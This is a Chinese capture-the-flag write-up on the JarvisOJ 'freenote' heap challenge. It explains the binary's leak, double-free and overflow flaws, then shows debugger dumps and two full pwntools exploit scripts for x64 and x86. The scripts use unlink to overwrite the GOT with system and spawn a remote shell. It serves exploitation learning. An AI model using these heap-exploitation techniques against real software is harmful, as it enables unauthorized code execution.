前言
之前看过一点点堆的资料……然后就被劝退了,最近又硬着头皮捡起来看,打算用这道题来入门堆,调了两天,装了个 pwndbg ,看堆舒服了很多,最后总算是搞懂了,写篇文章总结一下。
解题思路
首先是保护机制:
[*] '/home/aluvion/\xe6\xa1\x8c\xe9\x9d\xa2/freenote_x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
没有开 PIE,且 GOT 表可写。
IDA 反编译看代码,看到代码逻辑:
- 先申请一个 0x1810 大小的堆作为索引表,然后将最大堆数 256 放进堆里
- new note,将1(表示该堆已分配)、堆大小、堆地址放入索引表中,堆的大小是 0x80 的倍数
- list note,按照索引表中的地址读取堆内容
- edit note,按照索引表中的地址修改堆内容
- delete note,按照索引表中的地址 free 堆
可以看到读入 note 内容的时候没有加上 \x00,利用 list note 功能可以泄露地址:
for ( i = 0; (signed int)i < (signed int)a2; i += v4 )
{
v4 = read(0, (void *)(a1 + (signed int)i), (signed int)(a2 - i));
if ( v4 <= 0 )
break;
}
可以看到 delete_note 功能中存在漏洞,只要输入的 note 编号小于总数就可以 free,没有检查,存在 double free 和 UAF 漏洞,触发 unlink 就可以任意地址写:
if ( v1 >= 0 && (signed __int64)v1 < *(_QWORD *)qword_6020A8 )
{
--*(_QWORD *)(qword_6020A8 + 8);
*(_QWORD *)(qword_6020A8 + 24LL * v1 + 16) = 0LL;
*(_QWORD *)(qword_6020A8 + 24LL * v1 + 24) = 0LL;
free(*(void **)(qword_6020A8 + 24LL * v1 + 32));
result = puts("Done.");
}
可以看到 edit_note 功能中,对输入长度没有做检验,可以溢出覆盖:
if ( v3 != *(_QWORD *)(qword_6020A8 + 24LL * v4 + 24) )
{
v1 = (unsigned int)((signed int)(128 - (((((unsigned int)((unsigned __int64)v3 >> 32) >> 25) + (_BYTE)v3) & 0x7F) - ((unsigned int)((unsigned __int64)v3 >> 32) >> 25))) >> 31) >> 25;
v2 = qword_6020A8;
*(_QWORD *)(v2 + 24LL * v4 + 32) = realloc(*(void **)(qword_6020A8 + 24LL * v4 + 32), (signed int)((((_BYTE)v1 + -128 - (char)v3 % -128) & 0x7F) - v1 + v3));
*(_QWORD *)(qword_6020A8 + 24LL * v4 + 24) = v3;
}
printf("Enter your note: ");
write_note_content(*(_QWORD *)(qword_6020A8 + 24LL * v4 + 32), v3);
result = puts("Done.");
那思路就很明确了:利用 list note 泄露地址,堆溢出伪造,然后通过触发 unlink 劫持 GOT 表,将某个函数地址改写为 system 来 getshell。
EXP 编写
泄露 heap 基地址 / 泄露 libc 基地址
原理
free 掉两个不连续的 chunk 之后,它们会被放入 unsorted bin 中,跟 unsorted bin 的地址通过 fd 和 bk 指针构成一个双向链表,比如我 free 了编号 1 和 3 的两个堆:
unsortedbin
all: 0x1cfa8b0 —▸ 0x1cfa9d0 —▸ 0x7f93c61a1b78 (main_arena+88) ◂— 0x1cfa8b0
由此我们有两种方案可以将地址泄露出来:
从前一个堆进行溢出,覆盖掉被 free 堆的 head,这是 chunk0 和 chunk1 的数据,可以看到 chunk1 被 free 之后有了 fd 和 bk 两个指针(0xf2b8c0):
pwndbg> x/40xg 0xf2b820 0xf2b820: 0x0000000000000000 0x0000000000000091 0xf2b830: 0x6161616161616161 0x6161616161616161 0xf2b840: 0x6161616161616161 0x6161616161616161 0xf2b850: 0x6161616161616161 0x6161616161616161 0xf2b860: 0x6161616161616161 0x6161616161616161 0xf2b870: 0x6161616161616161 0x6161616161616161 0xf2b880: 0x6161616161616161 0x6161616161616161 0xf2b890: 0x6161616161616161 0x6161616161616161 0xf2b8a0: 0x6161616161616161 0x6161616161616161 0xf2b8b0: 0x0000000000000000 0x0000000000000091 0xf2b8c0: 0x0000000000f2b9d0 0x00007fe399d8eb78 0xf2b8d0: 0x6262626262626262 0x6262626262626262 0xf2b8e0: 0x6262626262626262 0x6262626262626262 0xf2b8f0: 0x6262626262626262 0x6262626262626262 0xf2b900: 0x6262626262626262 0x6262626262626262 0xf2b910: 0x6262626262626262 0x6262626262626262 0xf2b920: 0x6262626262626262 0x6262626262626262 0xf2b930: 0x6262626262626262 0x6262626262626262
chunk0 溢出覆盖 0xf2b8b0 地址处的 chunk1 的 head(0xf2b8b0),即可通过 list note 泄露处 0xf2b8c0 处的地址(chunk3地址和main_arena+88,即unsorted bin这个”chunk”的”head”)。
原理同上,申请一个同样大小的新堆,如果内容长度不足这两个指针不会被覆盖,我们可以只覆盖 fd,泄露 bk。
libc 基地址计算
0x7fe399d8eb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7fe399d8eb20 <main_arena>: 0x0000000100000000 0x0000000000000000
libc_base = 泄露出来的(main_arena + 88)的地址 - libc.symbols["__malloc_hook"] - 88 - 0x10或者0x20
具体是 0x10 还是 0x20 就很玄学,比如这题我本地是 0x10,远程是 0x20。或者也可以在 unlink 之后利用任意地址写进行泄露。
heap 基地址计算
heap_base = 泄露出来的chunk3的地址 - 0x1810(一开始申请的大堆的大小) - 0x10(大堆的head) - 0x90(小堆的大小) * 3(chunk3之前的chunk的数量)
unlink
原理
我在 free 了 chunk0 之后,如果我再 free chunk1,就会触发向前合并,chunk0 就会被 unlink。而 unlink 操作中有一个这样子的操作:
FD = P -> fd
BK = P -> bk
FD -> bk = BK
BK -> fd = FD
通过这个操作,我们可以改写指向 chunk0 的指针 p(即索引表中的指针)指向 p - 3 的地址,然后我们利用 edit note 功能对 p 进行修改,即可实现任意地址写。
还会进行检查:
P -> fd -> bk == P
P -> bk -> fd == P
P -> fd_nextsize -> bk_nextsize == P
P -> bk_nextsize -> fd_nextsize == P
所以我们堆溢出伪造的时候需要加以注意。
栗子
泄露地址之后的 chunk0 和 chunk1 长这样:
0x730820: 0x0000000000000000 0x0000000000000121
0x730830: 0x6161616161616161 0x6161616161616161
0x730840: 0x6161616161616161 0x6161616161616161
0x730850: 0x6161616161616161 0x6161616161616161
0x730860: 0x6161616161616161 0x6161616161616161
0x730870: 0x6161616161616161 0x6161616161616161
0x730880: 0x6161616161616161 0x6161616161616161
0x730890: 0x6161616161616161 0x6161616161616161
0x7308a0: 0x6161616161616161 0x6161616161616161
0x7308b0: 0x6565656565656565 0x6565656565656565
0x7308c0: 0x6565656565656565 0x00007f43ad461b78
0x7308d0: 0x6262626262626262 0x6262626262626262
0x7308e0: 0x6262626262626262 0x6262626262626262
0x7308f0: 0x6262626262626262 0x6262626262626262
0x730900: 0x6262626262626262 0x6262626262626262
0x730910: 0x6262626262626262 0x6262626262626262
0x730920: 0x6262626262626262 0x6262626262626262
0x730930: 0x6262626262626262 0x6262626262626262
我们通过溢出伪造 chunk0 和 chunk1:
0x83a820: 0x0000000000000000 0x0000000000000121
0x83a830: 0x0000000000000000 0x0000000000000080
0x83a840: 0x0000000000839018 0x0000000000839020
0x83a850: 0x6161616161616161 0x6161616161616161
0x83a860: 0x6161616161616161 0x6161616161616161
0x83a870: 0x6161616161616161 0x6161616161616161
0x83a880: 0x6161616161616161 0x6161616161616161
0x83a890: 0x6161616161616161 0x6161616161616161
0x83a8a0: 0x6161616161616161 0x6161616161616161
0x83a8b0: 0x0000000000000080 0x0000000000000090
0x83a8c0: 0x7070707070707070 0x7070707070707070
0x83a8d0: 0x7070707070707070 0x7070707070707070
0x83a8e0: 0x7070707070707070 0x7070707070707070
0x83a8f0: 0x7070707070707070 0x7070707070707070
0x83a900: 0x7070707070707070 0x7070707070707070
0x83a910: 0x7070707070707070 0x7070707070707070
0x83a920: 0x7070707070707070 0x7070707070707070
0x83a930: 0x6262626262626262 0x6262626262626262
此时我们有一个指向 chunk0 的指针位于 0x839030(从0x839020开始,每三个数据代表一个chunk,即是否被分配、大小和地址):
0x839000: 0x0000000000000000 0x0000000000001821
0x839010: 0x0000000000000100 0x0000000000000003
0x839020: 0x0000000000000001 0x0000000000000100
0x839030: 0x000000000083a830 0x0000000000000000
0x839040: 0x0000000000000000 0x000000000083a8c0
显然 unlink 的检查可以绕过,并且在 unlink 之后我们可以覆盖指向 chunk0 的指针为 p - 3:
0x839000: 0x0000000000000000 0x0000000000001821
0x839010: 0x0000000000000100 0x0000000000000002
0x839020: 0x0000000000000001 0x0000000000000100
0x839030: 0x0000000000839018 0x0000000000000000
0x839040: 0x0000000000000000 0x000000000083a8c0
之后我们对 note 0 进行 edit 的时候,即可修改 0x0000000000839018 地址之后的数据,修改的时候注意哪里的数据需要修改,哪里的不需要修改。
泄露 libc 基地址
原理
利用 edit note 功能对 p 进行修改的时候,可以改写其中一个 chunk 的地址为想要泄露的地址,比如 elf.got[“atoi”],然后利用 list note 功能即可进行泄露。
栗子
0x839000: 0x0000000000000000 0x0000000000001821
0x839010: 0x0000000000000100 0x0000000000000002
0x839020: 0x0000000000000001 0x0000000000000100
0x839030: 0x0000000000839018 0x0000000000000000
0x839040: 0x0000000000000000 0x000000000083a8c0
将 0x839040 处的地址修改为 elf.got[“atoi”],在 list 的时候即可打印 atoi 函数的地址。
劫持 GOT 表
原理
利用 edit note 功能对 p 进行修改的时候,可以改写其中一个 chunk 的地址为想要覆盖的地址,比如 elf.got[“atoi”],然后利用 edit note 功能即可进行修改。
栗子
0x839000: 0x0000000000000000 0x0000000000001821
0x839010: 0x0000000000000100 0x0000000000000002
0x839020: 0x0000000000000001 0x0000000000000100
0x839030: 0x0000000000839018 0x0000000000000000
0x839040: 0x0000000000000000 0x000000000083a8c0
将 0x839040 处的地址修改为 elf.got[“atoi”],在 edit note1 的时候即可覆盖 atoi 函数的地址。
完整exp
在编写 exp 的时候还有很多细节需要注意:
- new 5个 chunk,防止 free chunk3 的时候向top chunk合并。
- 发送 note 内容的时候不要 sendline,换行符会被分开当成下一次输入时的 choice,影响 recvuntil 获取地址。
- unlink 覆盖 p 之后,edit 的时候要注意长度要跟上次一样,不然会进入判断调用 realloc 导致程序崩溃。(payload.ljust(0x100, ‘p’))
- 要 edit 的 chunk 在索引表中要表示为已分配。
不知道为什么这么写的也可以自行调试一下。
from pwn import *
context.log_level = "debug"
local = 0
elf = ELF("../../freenote_x64")
if local:
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
target = process("../../freenote_x64")
gdb.attach(proc.pidof(target)[0])
else:
libc = ELF("../../libc-2.19.so")
target = remote("pwn2.jarvisoj.com", 9886)
malloc_hook_libc = libc.symbols["__malloc_hook"]
system_libc = libc.symbols["system"]
def list():
target.sendlineafter('choice: ','1')
def new(payload):
target.sendlineafter('choice: ','2')
target.sendlineafter('new note: ',str(len(payload)))
target.sendafter('note: ',payload)
def edit(num,payload):
target.sendlineafter('choice: ','3')
target.sendlineafter('number: ',str(num))
target.sendlineafter('note: ',str(len(payload)))
target.sendafter('your note: ',payload)
def delete(num):
target.sendlineafter('choice: ','4')
target.sendlineafter('number: ',str(num))
new('a' * 0x80)
new('b' * 0x80)
new('c' * 0x80)
new('d' * 0x80)
new('e' * 0x80)
delete(3)
delete(1)
log.progress('leak heap address')
edit(0,'a' * 0x80 + 'e' * 0x10)
list()
target.recvuntil("e" * 0x10)
heap_base = u64(target.recvuntil("\n", drop=True).ljust(0x8, '\x00')) - 0x1810 - 0x10 - 0x90 * 3
success("leak heap address OK")
log.progress('leak libc address')
edit(0,'a' * 0x80 + 'e' * 0x18)
list()
target.recvuntil("e" * 0x18)
libc_base = u64(target.recvuntil("\n", drop=True).ljust(0x8, '\x00')) - malloc_hook_libc - 0x20 - 88
success("leak libc address OK")
log.progress('unlink')
payload = p64(0) + p64(0x80) + p64(heap_base + 0x30 - 0x18) + p64(heap_base + 0x30 - 0x10) + 'a' * (0x80 - 4 * 8) + p64(0x80) + p64(0x90)
payload = payload.ljust(0x100, 'p')
edit(0, payload)
delete(1)
success("unlink OK")
payload = p64(2) + p64(1) + p64(0x80) + p64(heap_base + 0x30) + p64(1) + p64(8) + p64(elf.got["atoi"])
payload = payload.ljust(0x100, 'p')
edit(0, payload)
#list()
#target.recvuntil('1. ')
#libc_base2 = u64(target.recvuntil("\n",drop=True).ljust(0x8,'\x00')) - libc.symbols['atoi']
edit(1, p64(libc_base + system_libc))
success('heapbase: ' + hex(heap_base))
success('libcbase: ' + hex(libc_base))
#success('libcbase2: ' + hex(libc_base2))
target.sendlineafter('choice: ','/bin/sh\x00')
target.interactive()
target.close()
level6_x86
趁热打铁,今天做一做 32 位版本的题目加固一下,逻辑上没有太大变化,不过好像没有 atoi 函数,所以这次劫持的是 free 函数,将 /bin/sh 的字符串写入 note1 中,然后在改写索引表的时候注意不要修改了 note1 的地址,然后就是将 64 位的偏移修改一下就可以了:
from pwn import *
context.log_level = "debug"
local = 0
elf = ELF("../../freenote_x86")
if local:
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
target = process("../../freenote_x86")
gdb.attach(proc.pidof(target)[0])
else:
libc = ELF("../../libc-2.19.so")
target = remote("pwn2.jarvisoj.com", 9885)
memalign_hook_libc = libc.symbols["__memalign_hook"]
system_libc = libc.symbols["system"]
def list():
target.sendlineafter('choice: ', '1')
def new(payload):
target.sendlineafter('choice: ', '2')
target.sendlineafter('new note: ', str(len(payload)))
target.sendafter('note: ', payload)
def edit(num,payload):
target.sendlineafter('choice: ', '3')
target.sendlineafter('number: ', str(num))
target.sendlineafter('note: ', str(len(payload)))
target.sendafter('your note: ', payload)
def delete(num):
target.sendlineafter('choice: ', '4')
target.sendlineafter('number: ', str(num))
new('a' * 0x80)
new('b' * 0x80)
new('c' * 0x80)
new('d' * 0x80)
new('e' * 0x80)
delete(3)
delete(1)
log.progress('leak address')
edit(0, "a" * 0x80 + "e" * 0x8)
list()
target.recvuntil("e" * 0x08)
heap_base = u32(target.recv(4)) - 0xC10 - 0x08 - 0x88 * 3
libc_base = u32(target.recv(4)) - 48 - 0x20 - memalign_hook_libc
success("leak OK")
success("heap base: %s" % hex(heap_base))
success("libc base: %s" % hex(libc_base))
log.progress('unlink')
payload = p32(0) + p32(0x81) + p32(heap_base + 0x08 + 0x04 * 1) + p32(heap_base + 0x08 + 0x04 * 2)
payload += 'a' * (0x80 - 4 * 0x4) + p32(0x80) + p32(0x88) + "/bin/sh\x00"
payload = payload.ljust(0x90, "p")
edit(0, payload)
delete(1)
success("unlink OK")
payload = p32(2) + p32(1) + p32(0x4) + p32(elf.got["free"])
payload += p32(1) + p32(0x4) + p32(heap_base + 0x08 + 0xc10 + 0x88 * 1 + 0x08)
payload = payload.ljust(0x90, "p")
edit(0, payload)
edit(0, p32(libc_base + system_libc))
delete(1)
target.interactive()
target.close()
参考文章:
https://blog.csdn.net/qq_38204481/article/details/82808011
https://www.cnblogs.com/0xJDchen/p/6195919.html
https://www.360zhijia.com/anquan/427474.html
https://www.cnblogs.com/alisecurity/p/5486458.html
https://www.cnblogs.com/alisecurity/p/5520847.html
http://www.cnblogs.com/snip3r/p/9962960.html
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure/